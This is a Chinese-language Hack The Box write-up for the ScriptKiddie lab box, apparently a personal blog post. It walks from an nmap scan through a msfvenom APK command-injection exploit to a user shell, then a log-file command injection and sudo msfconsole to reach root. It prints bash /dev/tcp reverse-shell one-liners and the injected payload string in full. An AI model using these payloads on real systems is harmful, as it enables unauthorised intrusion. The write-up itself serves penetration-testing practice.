[HTB] ScriptKiddle
这台靶机比较简单,就和名字一样,脚本小子就可以做
端口扫描
首先用nmap扫描端口

扫描发现开放了22和5000做http服务
用户权限
浏览器访问这个web页面,发现是一个这样子的输入命令的地方;

尝试nmap这里命令注入,发现会经过校验,不存在命令执行
payload这里是调用了msfvenom
另外发现这个页面还给出来了直接用searchsploit搜索的接口

这里直接搜venom可以查到两个漏洞,其中第一个是命令注入的
尝试使用这个的脚本,第一次运行时报错说缺少jarsigner
需要安装一个包
sudo apt-get install openjdk-11-jdk-headless
之后修改payload为nc 10.10.14.174 1234
本地开一个终端执行nc -lvvp 1234

运行得到一个apk文件, 将这个文件传到payloads里面
这样运行完之后虽然连接过来了,但是没办法执行命令
网上又查了一下这个漏洞,搜到了msf的ruby利用脚本
用这个脚本,payload设置成了reverse_netcat
运行之后可以成功拿到shell

这个shell在/home/kid/html
这个路径下,往上可以看到user.txt
root权限
向上ls看到除了kid还有一个pwn用户

这里面看到有一个sh脚本
这个脚本里面是持续用nmap扫描一个文件里的ip

但是这个脚本中没有对这个${ip}j进行判断
在这个hackers里面加上这么一行
test; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.173/1234 0>&1' #
这样连起来实际上执行的就是
sh -c "nmap --top-ports 10 -oN recon/test; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.173/1234 0>&1' #.nmap ${ip} 2>&1 >/dev/null" &
这里第二遍重复的${ip}
没有替换,但是由于最后的一个#
实际上把后面的内容都注释了,影响不大
echo "test ;/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.173/8888 0>&1' #" >> hackers
这样另一个监听8888端口的窗口就是pwn权限的shell了

下面想办法从pwn权限提升到root
执行sudo -l
看到msfconsole
有sudo权限

在GTFObins上没查到
直接尝试用sudo执行这个程序

就已经是root权限了